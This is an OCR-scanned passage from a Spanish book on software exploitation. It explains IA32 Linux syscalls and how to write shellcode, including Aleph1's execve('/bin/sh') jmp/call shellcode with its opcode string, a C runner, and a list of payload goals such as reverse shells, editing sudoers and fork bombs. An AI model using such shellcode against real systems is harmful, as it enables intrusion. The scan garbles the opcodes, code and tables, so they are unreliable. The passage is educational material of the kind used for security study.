empresas  para  publicar  sus  soluciones  suele  ser  demasiado  amplio  y  permite  a  Ids  atacantes 
comprometer  miles  de  sistemas  antes  de  que  I  os  fallos  en  euestion  sean  arreglados.  De  hecho,  existen 
situaciones  en  las  que  el  soporte  oficial  para  un  producto  puede  no  encontrarse  disponiblc  o  haber 
caducado  en  la  fecha  en  que  un  exploit  ha  salido  a  la  luz.  Este  ba  sido  uno  de  I  os  problemas  criticos 
sufrido  por  la  version  6  de  Java.  Un  exploit  relativamente  reciente  se  aprovechaba  de  un  grave  error 
en  el  calculo  de  un  indice  que  permit ia  el  aeeeso  fuera  de  limites  sobre  un  array  de  dates.  Varlos  kits 
de  explotacion  ban  incluido  este  ataque  en  su  arsenal  y  millones  de  equipos  son  atacados  a  diario  de 
forma  activa.  No  olvide  nunca  la  convenieneia  de  man  loner  sus  aplicaeiones  aetuahzadas  y  poner  un 
ojo  en  las  ultimas  nolicias  publicadas  por  los  expertos  on  seguridad. 


1.11.  Referencias 

•  Smashing  the  stack  for  fun  and  profit  en 

h  ttpiffwww.phrack .  orgf Iss  ues.  himl  ?  id— 14&  iss  ue=49 

•  D  osb  ord  a  m  iento  d  e  bu  ff er  e  n  http  ;/fes+  wikipedia.  orgfwik  i/Des  bar  dam  i  en  todehufer 

•  G  DB  en  h  t tp  :/fwww. gn  il  orgfsoftware/gdh / 

•  The  Data  Display  Debugger  en  http://www.griu.org/software/ddd/ 

•  The  C  urs  os  D  ebu  gg  er  en  h  Up  ://cgdb .  sou  reef  or ge*  net/ 
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Capitulo  II 

Shellcodes  en  arquitecturas  IA32 


La  palabra  shellcode  provoca  una  sensacion  extrana  entre  los  neofilos,  siempre  surgen  las  mismas 
preguntas:  ^que  son?,  ^como  funeionan?.  Incluso  es  posible  que  haya  utilizado  muchos  para  obtener 
un  benefieio  sin  conoeer  la  magi  a  oeulta  en  su  interior,  y  entonces  una  ultima  pregunta  viene  a  su 
mente;  ^Podria  programar  yo  uno?  Siga  leyendo  y  lo  comprobara. 

A  lo  largo  del  capitulo  anterior  hem  os  mostrado  los  principios  basic  os  de  la  explotacion  de  stack 
overflows  sin  entrar  en  detalles  acerca  de  lo  que  real  mente  era  un  shellcode,  a  partir  de  ahora 
demostraremos  paso  a  paso  cdmo  programarlos  bajo  un  si  sterna  operativo  Linux  asentado  en  una 
arquileetura  IA32,  como  lo  es  la  Tamili  a  de  procesadores  x86  de  Intel. 


2.1.  Sintaxis  AT&T  vs  Intel 

No  pretendemos  ofrecer  un  curso  de  ensamblador  en  este  punto  del  libro,  tan  solo  meneionar  algunas 
de  las  difereneias  mas  significativas  entre  las  dos  sintaxis  mas  conocidas  dentro  del  mundo  del  lenguaje 
ensamblador.  Esta  introduccion  sera  de  utilidad  para  que  aquellos  que  deseen  interpretar  los  listados 
de  codigo  mostrados  a  lo  largo  de  este  capitulo  puedan  hacerlo  sin  demasiadas  complicaciones.  La 
sintaxis  de  AT&T  es  utilizada  por  defecto  en  el  compilador  de  ensamblador  de  GNU,  gas,  y  es  a  su 
vez  la  que  el  depurador  de  aplicaciones  GDB  mucstra  en  sus  listados  a  no  ser  que  se  haya  e  specific  ado 
lo  contrario.  La  sintaxis  de  Intel  resulta  mas  comun  en  los  ensambladores  y  depuradores  de  la  casa 
Microsoft.  N  ASM  o  Netwide  Assembler  es  uno  de  los  rep  res  ententes  oft  dales  de  este  formato.  IDA 
Pro,  por  su  parte,  es  otro  ejemplo  muy  claro  de  un  desensamblador  orientado  a  la  ingenleria  inversa 
que  utiliza  dicho  estilo  de  lenguaje.  Ahora  observemos  unas  cuantas  comparaciones; 

INTEL  ^  push  3 
AT&T  —  push  $3 

Vemos  que  en  la  sintaxis  de  AT&T  se  antepone  un  simbolo  de  dolar  a  las  constantes  numericas, 
mientras  que  en  Intel  no  es  necesario.  Ahora  sigamos  con  la  ins  true  cion  mov: 

INTEL  mov  eax,  3 

AT&T  — ^  movl  $3, 

En  este  punto  ya  se  denote  el  cambio  de  orden  de  los  operadores,  en  Intel  el  primer  operador  o  registro 
es  el  II  am  ado  destino,  y  el  segundo  operador  o  registro  es  el  1 1  am  ado  origen.  El  valor  es  copiado  por 
lo  tanto  desde  el  origen  al  destine.  En  AT&T  ocurre  todo  lo  contrario,  el  primer  operador  es  el  origen 
y  el  segundo  es  el  destine.  Ademas,  en  esta  ultima  veivemos  a  ver  el  simbolo  de  dolar,  y  observamos 
tambien  que  los  registro  s  de  si  sterna  se  preceden  con  el  simbolo  %  de  porcentaje. 
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Un  poco  mas  curioso  todavia  es  que  la  instruccion  mov  se  ha  escrito  como  movi  en  AT&T.  La  I  final 
representa  el  tamano  del  valor  que  se  quiere  mover,  pudiendo  asi  diferenciar  entre  las  siguientes 
operaciones: 

movh  —  Copia  un  byte  , 

movw  -*  Copia  un  word  (2  bytes)  - 

movl  Copia  un  long  (4  bytes)  . 

Esto  no  siempre  es  necesario  y  dentro  de  la  sintaxis  AT&T  puede  utilizarse  muchas  voces  directamente 
mov  sin  mas  e  spec  i  ficac  ion  es,  resultado  que  a  veees  produeen  l os  desensam blades  de  GDB. 

Existen  otras  diferencias  en  algunas  operaciones,  pero  no  deseamos  desviamos  del  objetivo  principal 
de  esle  Hbro.  Si  queremos  decir,  no  obstante,  que  a  primera  vista  la  lectura  de  la  sintaxis  de  Intel  resulta 
baslante  mas  clarificadora,  y  es  por  ello  que  programar  codigo  con  nasin  (por  poner  un  ejemplo)  se 
vuelve  mucho  mas  rentable  con  el  paso  del  tiempo.  Para  aquellos  a  quienes  les  sea  de  utilidad, 
exponemos  en  la  siguiente  tab  la  el  signiticado  u  objetivo  principal  de  cada  registro  del  procesador. 


Registro 

Description 

EAX 

Registro  acumulador;  intervene  en  operaciones  aritmeticas  y  logicas. 

EBX 

Registro  base:  interviene  en  transferencia  de  datos  entre  memoria  y  procesador. 

ECX 

Registro  contador:  contador  dc  bucles  y  operaciones  reiterativas. 

EDX 

Registro  de  datos:  operaciones  aritmeticas,  de  entrada/salida  de  puertos,  etc. 

EIP 

Registro  apuntador:  siguiente  instruccion  a  ejecutar. 

ESI 

Registro  indice  fuente:  apunta  al  origen  dc  una  cadena  o  datos. 

EDI 

Registro  indice  destino:  apunta  al  destino  donde  sera  copiada  una  cadena  o  datos. 

EBP 

Apuntador  base:  serial  a  la  base  de  la  pila  o  stack  (zona  especial  de  la  memoria). 

ESP 

Apuntador  de  pila:  sehala  la  cima  de  la  pila  o  stack  {zona  especial  de  la  memoria). 

CS  DS  SS 
ES  FS  GS 

Todos  ellos  son  conocidos  como  registros  de  segmento,  siendo  el  primero  de  codigo, 
el  segundo  de  datos,  si  tercero  de  pila  y  asi  sucesivamente.  No  nos  adentraremos  mas 
en  ellos. 

Flags 

Se  trata  de  un  registro  especial  cuyos  bits  indican  el  estado  actual  del  procesador  y  de 
eiertos  resultados  en  la  realizacion  de  operaciones  aritmeticas.  Muy  util  en 
instrucciones  de  comparaeion  y  otros  temas  referentes  a  interru  pci  ones  que  no 
trataremos  aqui. 

Tabla  02.0! :  Registros  del  procesador  y  su  descripcion. 


Existen  algunos  regislros  mas,  como  aquellos  especlficos  de  la  FPU  dedicados  a  operaciones 
matematicas  con  numeros  reales  de  mayor  precision  (double,  float),  pero  esto  es  algo  que  queda 
fuera  del  alcanee  de  este  capitulo. 
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2.2.  ^Que  es  un  shellcode? 

Un  shellcode  no  es  mas  que  una  eadena  de  codigos  de  operacion  hexadeci  males  u  opcodes,  extraidos 
a  partir  de  instrucciones  t (pic as  de  lenguaje  ensamblador.  Si  esta  eadena  de  codigos  es  introducida  en 
una  zona  especi'fica  de  la  memoria,  por  ejemplo  un  buffer,  y  podemos  de  algun  modo  redireccionar  el 
flujo  del  programs  a  esa  zona  (tdcnica  que  hemos  estudiado  en  el  capitulo  anterior),  enlonces 
tendremos  la  capacidad  de  ejecutar  dicho  shellcode. 

Sin  la  ayuda  de  mecanismos  de  chequeo  extemos,  los  proeesadores  son  incapaces  de  distinguir  si  las 
instrucciones  que  reciben  provienen  de  una  zona  dc  eodigo  o  de  una  zona  destinada  a  dates.  Un 
atacante  saca  proveeho  de  esta  confusion  inyectando  eddigo  ej ecutable  en  un  espacio  de  memoria 
habilitado  para  contener  datos  del  usuario,  luego  utiliza  un  fallo  de  programacion  para  redirigir  al 
micTOprocesador  haeia  esa  nueva  zona  manipulada  y  este  ejecuta  las  nuevas  instrucciones  recibidas. 
En  realidad  usted  podria  codificar  cualquier  programa  en  ensamblador,  extraer  sus  opcodes  abrieodolo 
con  un  editor  hexadecimal,  y  eonveriirlo  directamente  en  un  shellcode.  Pero  debe  tener  en  cuenta 
varias  limitaciones; 

-  La  longitud  del  buffer  que  permite  almacenar  ese  shellcode, 

Una  eadena  no  puede  contener  bytes  null  como  OxOO. 

-  El  eodigo  no  deberia  depender  de  la  position  en  tnemoria. 

La  primera  de  las  limitaciones  hace  que  dicho  eodigo  no  pueda  ser  tan  grande  como  deseamos,  La 
segunda  nos  previene  de  inyectar  un  caracter  \o,  que  tiene  el  significado  de  final  de  eadena.  La  tercera 
indiea  que  no  deben  utilizarse  references  absolutas  a  otras  instrucciones  del  eddigo  {PIC  o  Codigo 
Independiente  de  la  Posicion). 

A  continuation  listamos  algunos  de  los  objetivos  principales  de  los  shellcodes  o  payloads  mas 
comunes  que  se  encuentran  a  su  disposition  en  la  red; 

-  Ejecucion  de  una  shell  de  comandos. 

-  Establecer  un  puerto  a  la  escucha  con  una  shell  detms  ( bind  shell). 

-  Establecimiento  de  una  conexion  inversa  (reverse  shell). 

-  Cambio  de  permisos  sobre  el  fichero  /etc/ shadow. 

-  Anadir  un  nuevo  usuario  con  permisos  el  evades. 

Reiniciar  el  si  sterna. 

Matar  un  proceso, 

-  Ejecucion  de  una  bomba  de  procesos  (fork  bomb). 

Borrado  de  fleheros. 

-  Desactivacion  de  mecanismos  de  protection  como  A  SLR. 

-  Descarga  de  binaries  de  un  servidor  remote. 

-  Edicidn  del  fichero  /etc/sudoers  para  lograr  acceso  sin  restricciones. 

-  Creation  de  un  proxy. 

-  Envio  de  mensajes  a  term  inales, 

-  Cambios  sobre  el  cortafiiegos  iptabies. 

Y  un  largo  etcetera  cuya  extension  no  tiene  cabida  en  las  paginas  que  podemos  dedicar  a  este 
apas  ion  ante  mundo. 
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2.3.  Llamadas  de  sistema  (syscalls) 

Si  hay  algo  que  lienen  en  comun  todos  los  shelleodes,  es  que  hacen  uso  de  unos  artilugios  conocidos 
como  system  calls ,  syscalls  o  llamadas  a  I  sistema.  Una  syscall  es  el  mode  que  tiene  Linux  de 
proporcionar  comunicaeion  entre  el  espacio  de  usuario  y  el  espacio  de  kernel  o  nucleo  del  sistema  Por 
ejemplo,  cuando  queremos  eseribir  algun  contenido  en  un  archive,  y  para  ello  haeemos  uso  de  la 
fixncion  write  o  en  el  eodigo  fuente,  el  binario  compilado  ejecuta  una  instruceion  especial  int  0x80 
que  produce  lo  que  se  conoce  como  una  interrupcion,  de  modo  que  el  programa  se  detiene  y  el  control 
pas  a  a  traves  de  unos  mecanismos  control  ados  hacia  el  kernel ,  siendo  este  ultimo  el  encargado  de 
eseribir  los  datos  en  el  disco.  El  resultado  final  es  una  especie  de  acucrdo  entre  el  software  del  usuario 
y  el  sistema  operative,  el  primero  solicita  ciertos  recursos  y  el  segundo  se  los  concede  tras  realizar  las 
comprobaciones  neces arias.  Funciones  de  red  y  acceso  a  ftcheros  en  disco  son  dos  ejemplos  de 
recursos  que  el  kernel  se  encarga  de  gestionar  de  forma  invisible  para  las  aplicaeiones,  I  i  be  ran  do  a 
estas  de  la  carga  anadida  y  establedendo  las  medidas  de  seguridad  oportunas. 

En  la  distribucion  Ubuntu  con  la  que  estamos  trabajando,  el  listado  de  llamadas  al  sistema  se  encuentra 
definido  como  macros  en  el  archivo  unistd_32  .h.  Pueden  verse  con  el  siguiente  comando: 

$  cat  /usr/include/i386-linux-gnu/asm/unistd 32 .h  1  grep  ”  NR M 


Mostramos  a  continuacion  una  tabla  con  las  syscalls  mas  importantes: 


Syscall 

N° 

Syscall 

Nn 

_ NR_exit 

l 

_ NR_rmdir 

40 

_ NR_£ork 

2 

NR  dup 

41 

NR  read 

3 

_NR_pipe 

4  2 

NR_write 

4 

NR  times 

43 

NR_open 

5 

NR  prof 

44 

NR  close 

6 

_ NR_brk 

4  5 

HR  waitpid 

7 

_ NR_setgid 

46 

NR  creat 

8 

NR  getgid 

47 

_ NR_link 

9 

NR  signal 

48 

NR  unlink 

10 

NR  geteuid 

49 

NR  exeeve 

11 

NR  getegid 

50 

NR  chdir 

12 

NR  ae'-Ct 

51 

_ _ NR_time 

13 

NR  umount2 

52 

NR  mknod 

14 

NR  lock 

53 

NR  chrnod 

15 

_ NR_ioctl 

54 

NR  lchown 

16 

NR  fcntl 

55 

_ NR_break 

17 

NR  getegid 

50 
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_ NR_oldstat 

18 

NR  acct 

51 

_ NR_lseek 

19 

_ _ MR  umount2 

52 

NR  getpid 

20 

NR  lock 

53 

NR  mount 

21 

_ NR_ioctl 

54 

MR  umount 

22 

_ NR_fcntl 

55 

NR  setuid 

23 

MR  mpx 

56 

MR  getuid 

24 

NR  setpgid 

57 

MR  stime 

25 

NR  ulimit 

58 

MR  ptrace 

2  6 

NR  olduname 

59 

NR  alarm 

27 

NR  umask 

60 

_ NR_ol.df.st  at 

28 

NR_ohroot 

61 

NR^pause 

29 

_ MR_ustat 

62 

NR  utime 

30 

_ NR_dup2 

63 

_  _NR_stty 

31 

_ NR_ge tppid 

64 

_ NR_gtty 

32 

_ NR_getpgrp 

65 

_ NR_aecess 

33 

_ NRsetsid 

66 

_ MR_nice 

34 

_ NR_s igact ion 

67 

_ NR_ftime 

35 

NR  sgetmask 

63 

_ NR_sync 

36 

NR  ssetmask 

69 

_ NR_kill 

37 

_ NR_setreuid 

70 

MR  rename 

38 

_ NR_setregid 

71 

_ NR^mkdir 

39 

_ NB_socketcall 

102 

Tab  la  02.02:  Listado  de  llamadas  de  si  sterna. 

El  objetivo  principal  de  tin  shellcode  basico  es,  valga  la  redundaneia,  ejecutar  una  shell  (por  ejemplo 
“/bin/ sh”),  y  sabiendo  con  que  fun ci ones  realizamos  esta  tarea  en  lenguaje  C,  podemos  deducir  las 
sysealls  correspondientes: 

setreuid (0 , 0) ;  //  _ NR_setreuid  70 

exeeve  ( "/bin/sh"  r  args.[],  NULL);  //  _ NR_execve  11 

exit(0);  //  NR exit  1 


\ota 


S  i  un  proceso  setuid  se  ha  desprendido  de  I  os  privilegios  de  super- us uario  de  forma 
temporal,  la  llamada  a  setreuid  ( j  permite  al  atacante  recuperar  las  capacidades  de 
root,  estableeiendo  el  ID  de  usuario  real  y  efectivo  al  ID  que  hahia  sido  guardado 
previamente. 
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EjecutaT  una  de  estas  syscalls  en  ensamblador  es  tan  sencillo  como  establecer  los  registros  del 
proeesador  del  mode  adecuado,  siendo  EAX  el  numero  de  la  syseall  correspond iente  en  hexadecimal, 
y  EBX,  ECX,  EDX,  ESI  y  EDI,  los  parametros  asociados  a  dicha  syseall.  La  instruccion  int  0x8 o 
invoca  finalmente  la  Hamad  a. 

Con  toda  esta  information,  y  a  modo  de  entrenamiento,  podemos  escribir  el  c!4sieo  ejemplo  del 
programa  que  solo  ejecuta  una  llamada  a  exit  (0) : 

I  include  <st.dlib  .h> 
void  main  ()  { 

exit  (0) ; 

)  


Para  poder  estudiar  las  llamadas  al  sisteina  debemos  compilar  el  programa  con  la  opcion  especial  -- 
static,  mas  concrctamenle  con  la  orden:  gcc  --static  salir.c  -o  saiir.  Observe  en  la  figura  el 
codigo  desensamblado  que  produce  este  programa.  Lo  mostramos  tanto  en  la  sintaxis  de  Intel  como 
en  la  de  AT&T  para  que  se  puedan  ver  sus  diferencias. 


0  0  -  bl3ckngel@bbc  ~ 

blackngelj@bbc:-$  gcc  -static  saltr.c  -ojlalir 
bUckrrgeljbbc:~$  gdb  -q  ,/salir 

Leyendo  sinbolos  desde  /KoRe/blackrtg&X/$^llr . . . (m>:  se  encontraron  slmbolos  de  de 
p  u  r  a  c  tori  Jb$c  ho , 

(gdb)  disass  _exlt  .A... ....  ,  v  : 

Dump  of  assembler  code  f6'r  function  exit: 

9x086S3a9c  *+0>:  nov  0x4(*esp) ,%ebx 

0x08053aaO  <+4>:  mov  $axfc,%eax  ^ 

0xO8053aa5  call  *0x80efSa4 

0x08053aab  <+15>:  mov  $0xl,?6eax 

©x08053abO  <+20>i  int  $0x86 

0x08O53ab2  <+22»:  hit 

End  of  assembler  dump, 

(gdb)  set  disassembly-flavor  Intel 
(gdb)  disass  _exlt 

Dump  of  assembler  code  for  function  „exlt: 


0X080 53a9c  <t-0>:  mov 

0x0S053aa0  <+4»i  mov 


ftP?vp*0xrSr"' 


ojamojouo 

0>cO8O533b?  <♦??>; 
End  of  assembler  dump, 
(gdb)  | 


MMtWIMMMi 


X 


Imagen  02,01:  Desensamblado  de  exilQ. 


A  efectos  practices  podemos  obviar  la  instruccion  call  que  termina  invocando  una  instruccion  int 
que  a  su  vez  llama  a  exit_group  ( ) .  Este  es  un  agregado  de  GCC,  por  lo  deni  as  a  nosotros  nos  interesa 
solo  exit  n ,  en  concrete  las  tres  proximas  instrucciones; 


mov  0x4 (%esp) , %ebx 
mov  $0x1, %eax 

int  $0x80 


Ya  conociamos  a  partir  de  la  tabla  de  syscalls  que  a _ NR  exit  le  corresponde  el  numero  1,  como 

podemos  ver,  la  instruccion  mov  mueve  exactamente  ese  valor  al  registro  EAX  y  luego  se  ejecuta  la 
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interrupcibn  0x8  0  que  siempre  es  la  misma  para  cualquier  syscall.  El  argumento  de  la  funeibn  exit  ( j , 
segun  nuestro  programa,  debe  ser  0,  y  eso  se  iogra  mediante  la  primera  instruccion,  que  introduce  en 
EBX  dicho  argumento. 

Ciertamente  nosolros  podriamos  poner  un  cero  en  EBX  con  una  instruccion  mas  sene  ill  a  como  mov 
50x0,  %ebx  o  simplemente  xor  %ebx,  %ebx.  La  primera  genera  bytes  null ,  la  segunda  no,  y  es  por  ello 
que  utilizaremos  esta  ultima, 

Mostramos  entonces  como  podemos  escribir  el  rnismo  programa  en  ensamblador  sin  lanecesidad  de 
realizar  la  llamada  a  exit_group  ( ) ,  para  ello  utilizamos  el  formato  nasm  que  es  muy  limpio: 

section  .text 
global  _start 
_start : 

xor  eax,  eax  ;  eax  =  0  ->  Limpieza 

xor  ebx,  ebx  ;  ebx  =  0  ->  ler  Par&metro 

mov  al,  0x01  ;  eax  *=  1  ->  _ NR_exit  1 

int  0x80  ;  Ejecutar  syscall 


Todo  lo  que  esta  despues  del  caracter  * ;  ’  no  son  mas  que  comentarios  que  traducen  a  un  Ienguaje  mas 
hum  an  o  lo  que  hace  cada  una  de  las  instrucciones  en  ensamblador,  Ahora  podemos  compilarlo  y 
enlazarlo.  Para  luego  ejecutarlo  y  comprobar  que  functona, 

$  nasm  -f  elf  salida . asm 
$  Id  salida. a  -o  salida 
$  . /salida 


Para  comprobar  que  la  ejecucion  se  ha  realizado  de  un  modo  correcto  disponemos  de  la  herramienta 
strace,  cuya  misibn  es  mostrar  las  I laniadas  al  sistema  que  son  ejeeutadas  durante  el  transcurso  de 
una  aplicacidn.  Con  vert  iremos  primero  nuestro  programa  en  una  cadena  shellcode  tradicional 
extrayendo,  como  ya  hemos  dicho,  sus  codigos  de  operacion  hexadecimales.  Para  esto  ultimo 
utilizamos  la  herramienta  objdump,  que  nos  brinda  todos  los  datos  que  necesitamos. 

$  oh j dump  -d  ./salida 

./salida:  file  format  elf32-i386 

Disassembly  of  section  .text: 

08048060  <  start>: 


8048060: 

31 

cO 

xor 

%eax, %eax 

8048062: 

31 

cib 

xor 

%ebx, %ebx 

8048064: 

bO 

01 

mov 

$0x1, %al 

8048066: 

cd 

80 

int 

$0x80 

Ohservamos  que  el  codigo  ensamblador  se  conserva  limpio  y  rcducido,  El  mismo  programa  escrito  en 
Ienguaje  C  habria  agregado  varias  secciones  mas  y  ensuciado  nuestro  codigo.  La  cadena  de  opcodes 
es  la  union  de  los  bytes  que  nos  ofrece  objdump:  \x3i\xcQ\x3i\xdb\xbo\xoi\xcd\x8  0.  Ahora 
podemos  utilizarlos  en  una  aplicacidn  eserita  en  C. 

char  shellcode  []=  ,T\x3.1\xc0\x31\xdb\xb0\x6l\xcd\x80"  ; 

void  main [  )  ( 

void  { *  fp)  (void) ; 
fp  =*  (void  *  )  shellcode 

f  p  ( ) ; 
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En  la  siguiente  imagen  mostramos  resumidamente  c6mo  compilarto  y  ejecutarlo  mediante  ^trace, 
Comprobamos  asi  que  la  llamada  al  sistema  exit  0  se  ejecuta  apropiadamente. 


©  ^  bUckngel@bbc  ~ 

blackngelgbbc:~$  strace 

execve( " */sc" ,  ["  ./scjjj5*  [/*  37  v£rs  */])  -  0 
brk(0)  0x8cb600O 

access(Jptc/ld . so  Jpfewcap " .  F_OK)  =  - 1  ENOEWT  (Mo  such  file  or  directory) 

fnmap2(NULL,  8192,  PROTORE AD | PRGTJ4RITE,  HAP^PRIVATt }M^P„AMOMYMOUS p  -1,  0)  =  0xb7 
6e300O 

access("/etc/ld, scupreload" #  R_QK)  =  -1  ENOENT  (No  such  file  or  directory) 

openC/etc/ld.  so. cache"  (  0_RDONLY|O_CLO£KEC)  =  3 
fstat64(3,  {st_nodesS^IFREG|064^J  st_svz*= 80479,  *,..})  =  6 
Fin3p2(NLHL,  80479,  PROT^READ,  ttAP^PRIVATE,  3,  &)  =  0xb76cf000 
Close ( 3 ) '  '  :j; :$0r‘  -  0 

access (”/ etc/ Id, so.nohwcap1' ,  F_OK)  =  -1  EMOENT  (Mo  such  file  or  directory) 

open£ "/lib/1380'ltngx-gnu/llbc ,so,6" ,  0  RDDNLY |oJtl0E?CEG)  =  3 

read(3,  ,,\l77ELF\lVl\l\0\9\0^0\0\0\0\0^0\3\e\3\d\l\0\0^0000\226\l\0004\0\0\Q,, . ,  . 

,  512)  *  S12  x  ” 

f stat64( 3 ,  { st_node-S_I FREC j 0 755 ,  st_slze=1730024,  . ..})  =  0 

nnap2(MULL,  173948*,  PROTREAD ] PROTEXEC ,  MAPPR I VATE | MAPDEN YWR I TE ,  3,  0)  =  0xb 
7526600 

map2(0xb76c900B,  12288,  PROT_READ j PROTJrfRITE ,  MAP_PR I VATE | M  AP_F I X  ED  f  MAP_D ENYWR I 
TE,  3,  0X133)  =  0xb76c9000 

map2(0xb76cc000,  10972,  PROT  READ ] PROTWR 1 TE ,  MAPPR I VAT  E  j  MAP  F I XED  J MAP  ANON YMO 
US,  -1,  0)  =  0xb76cc000 

close(3)  ..  n  . ^  =  0i  .  .  ^(]|)].p.  T].,  rf 

Rn3p2(.NyLL ,  4096,  PROT__Rf  AD  |PROT_WRTTE ,  ;MAP^PRTVATE  |ttAP^AW>NYMOUS  ,  -1,  0)  *  0xb7 
525000  \  /  A  p****yl  I  I  II  | 

set_thread_area(  {entry^nuisber  :r  1  ->-6 ,  bas*_  add  ^0x^7525900,  limit  M048S7S,  seg_ 
32bvt:'l,  'Contents:^,  read_exec^only  re  ,  line  t_in  i  pages:!,  seg  Jiot  jp  resent :  0 ,  use  a 

mprotectCDxbT&cgeoa,  si92,  protj?eao)  =  o 
mprotect(0x8049000,  4096,  PRO?r^EA0)  O' 

mprotect(0xb7706000,  4096,  PROTWR FAp)  i  J  0 
munnap(0xb7dcf^00  ,  80479)  *  -j  0 

_exlt(0)  '  :  :  ’  ;  =  ?  •  ' 

blacknge I0bbc: -$  | 

Imagen  02.02:  Salida  del  comando  strace. 

Podemos  observar  en  la  parte  final  de  la  imagen  como  la  sente  ncia  jfexit  <0)  es  ejecutada  Lai  y  como 
esperabamos.  Sin  embargo,  explotar  un  programa  con  un  she  1 1  code  cuya  unica  final  id  ad  es  salir,  resulta 
algo  decepcionante  como  proposito,  de  modo  que  nuestro  proximo  objetivo  sera  ej  ecu  tar  una  shell  que 
nos  permita  interactuar  con  el  si  sterna. 


2.4.  Metodos  de  referenciacion 

En  las  sigui  elites  subsecciones  detallaremos  algunos  de  los  metodos  comimmente  utilizados  por  los 
she II codes  para  referenciar  cadenas  en  lenguaje  cnsamblador,  esto  es,  conseguir  almacenar  la  direction 
de  una  eadena  de  caracieres  en  un  registro  del  sistema  para  utilizarlo  en  operaciones  poster! ores. 
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2.4.1.  Viaje  al  pasado 

El  objetivo  principal  de  los  shellcodes  mas  comunes  es  ejecutar  Lina  shell  de  eomandos,  ya  sea  local  o 
remotamente,  El  nucleo  de  esta  dase  de  shellcodes  es  una  llamada  a  la  funcion  execven,  con  los 
parametros  primero  y  segundo  establecidos  a  una  cadena  /bin/sh,  Podemos  plasmar  esta  idea 
f&cilmente  en  codigo  C; 

finclude  <stdio.h> 
void  main ( )  { 

char  *name [2] ; 

name[0]  =  Tl /hin/sh"; 

name [ 1]  -  NULL; 

execve (name [ 0 J ,  name,  NULL) ; 

} 


El  mayor  problema  a  la  bora  de  traducir  este  codigo  a  ensambiador,  radica  en  como  hacer  referencia  a 
la  cadena  /bin/sh  cuando  se  desean  establecer  los  parametros  de  la  syscall.  Harcmos  uso  de  an 
ingenioso  truco.  Se  basa  en  utilizar  una  estructura  como  la  que  puede  observar  en  el  siguiente  grafico. 


Imageti  02.03;  Jump  trick. 

Vemos  que  la  instruccion  jmp  nos  conduce  direetamente  a  la  pen  ultima  instruccion  del  codigo.  Como 
ya  estudiamos  en  el  anterior  capitulo  lo  primero  qae  saeedc  cuando  una  instruccion  call  es  ejecutada, 
es  que  el  valor  de  EIP  se  vuelca  on  la  piia,  valor  que  en  este  case  resulta  ser  exactamente  la  direccidn 
de  la  siguieme  instruccion  a  ejecutar,  en  nuestro  caso  la  cadena  /bin/sh. 

Repetimos  de  tin  mode  mas  instructivo,  el  truco  esta  en  colocar  un  sal  to  jmp  al  principio  del  codigo 
para  ir  direetamente  a  la  instruccion  call  que  va  segttida  de  la  cadena  que  nos  interesa  referenda^  a 
continuacion,  este  call  va  encaminado  a  la  siguiente  instruccion  despues  del  primer  jmp,  es  decir,  la 
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segunda  in  struct  i6n  del  cbdigo,  pop,  cuyo  objetivo  es  extraer  el  valor  recien  introducido  en  la  pi  la  por 
call  (el  valor  del  registro  E1P),  y  lo  almacenamos  en  el  registro  ESI.  A  partir  de  ese  momerito  el  resto 
del  codigo  shell  puede  referenciar  la  cadena  /bin/sh  haciendo  uso  unicamente  del  registro  ESI. 

Esta  tecnica  tambien  se  conoce  por  la  abreviatura  GETPC  del  ingles  Get  Program  Counter^  obtener  el 
contador  del  pro  grama.  Desgraciadamente  para  un  exploiter,  no  existe  una  instruccion  valida  como 
mov  eax,  eip  (formato  Intel).  El  objetivo  es  disenar  una  es  true  turn  de  codigo  que  obi  eng  a  el  mismo 
resultado  que  la  instruccion  ficticia  anterior. 

Echemos  un  vistazo  al  shellcode  original  eonstruido  por  el  ya  conocido  escritor  Alephl*  Memos 
afiadido  al  codigo  todos  los  comentarios  necesarios  para  que  comprenda  rapidamente  su 
funcionamiento. 


jmp  0x26 

popl  %6'si 

movl  %esi, 0x8 ( %esi) 
movb  50x0 , 0x7 (%esi) 

movl  $ 0 xO  t  Oxc ( %esi } 

movl  $0xb,^eax 
movl  %esi,%ebx 
leal  0x8  (%esi )  ,  %ecx 
leal  Oxc (%esi) , %edx 
int  $0x80 

movl  $0x1 ,  %eax 

movl  $0x0,  lebx 

int  $0x80 

call  -0x2b 

.string  \"/bin/sh\" 


Salto  al  ultimo  call 
Obtenemos  en  ESI \  "/bin/sh” 

Concatenar  :  "/bin/sh  "£  (/bin/sh) 

1 \ 0  T  al  final:  "/bin/sh\0"& (/bin/sh) 

Agregar  NULL:  "/bin/sh\0"& ( /bin/ sh) NULL 

Syscall  11  - - - - - -- - 

argl  =  M /bin/sh"  | 

arg2[2]  =  { rl /bin/sh",  TIQ,T}  | 

arg3  =  NULL  I 

excve  ("/bin/sh",  ["/bin/sh",  NULL],  NULL)  <-q 

Syscall  1  — o 
argl  =  0  I 
exit{0)  <■ - o 

Salto  a  la  primera  instruccion 
Nuestra  cadena 


La  cadena  de  bytes  correspondiente  al  codigo  que  acabamos  de  mostrar  es  la  siguiente: 

char  shellcode  [1  -  T,\xeb\x2a\x5e\x89\x76\xG8\xc6\x46\xO7\xOO\xc7\x46\xGc\xGCi\x0Q\xOQ 
,T\xOO\xb8\xQb\xOO\xOCAxOO\xS9\xf  3\x8d\ x4e\x08  \x8d\x56\x0c\xod\x8  0  " 

"  \xb8  \  x0 1  \xG-G\x00  \xG  0\xbb\x00  \  xOO\xO  0\x0  0  \xcd\xSG\xe8\  xdl  \xf  f  \xf  f 11 
" \xf f \x2  f \x62 \x6  9 \x6e\x2f \x73 \x68\x0  0\x8  9\xec\x5d\xc3  M ; 


Este  shellcode  tienc  un  problema  a  la  bora  de  utilizarse  en  un  caso  real  de  buffer  overflow,  y  es 
precisamente  la  iimitacion  que  comentabamos  anteriormente  sobre  el  contenido  de  bytes  null. 
Debemos  desarrollar  entonces  un  codigo  todavia  mas  limpio  que  evite  cualquier  tipo  de  caracter  no 
apto  en  nuestra  cadena.  Los  consejos  son  utilizar  instrueciones  como  xor  reg,  reg  en  vez  de  movl 
0,  reg,  utilizar  el  tamaho  de  registro  mas  pequeno  posible,  por  ejcmplo  al  en  vez  de  ax,  invocar  la 
instruccion  cdq  para  limpiar  el  registro  edx  y  muchos  otros  true  os.  Siguiendo  estas  instrueciones 
podemos  reconstruir  el  shellcode  de  la  siguiente  forma: 


jmp 

0.x  If 

;  2 

bytes 

popl 

%esi 

;  1 

byte 

movl 

%esi, 0x8 (%esi) 

;  3 

bytes 

xorl 

%eax, %eax 

;  2 

bytes  ->  eax 

movb 

%eax, 0x7 (%esi) 

;  3 

bytes 

movl 

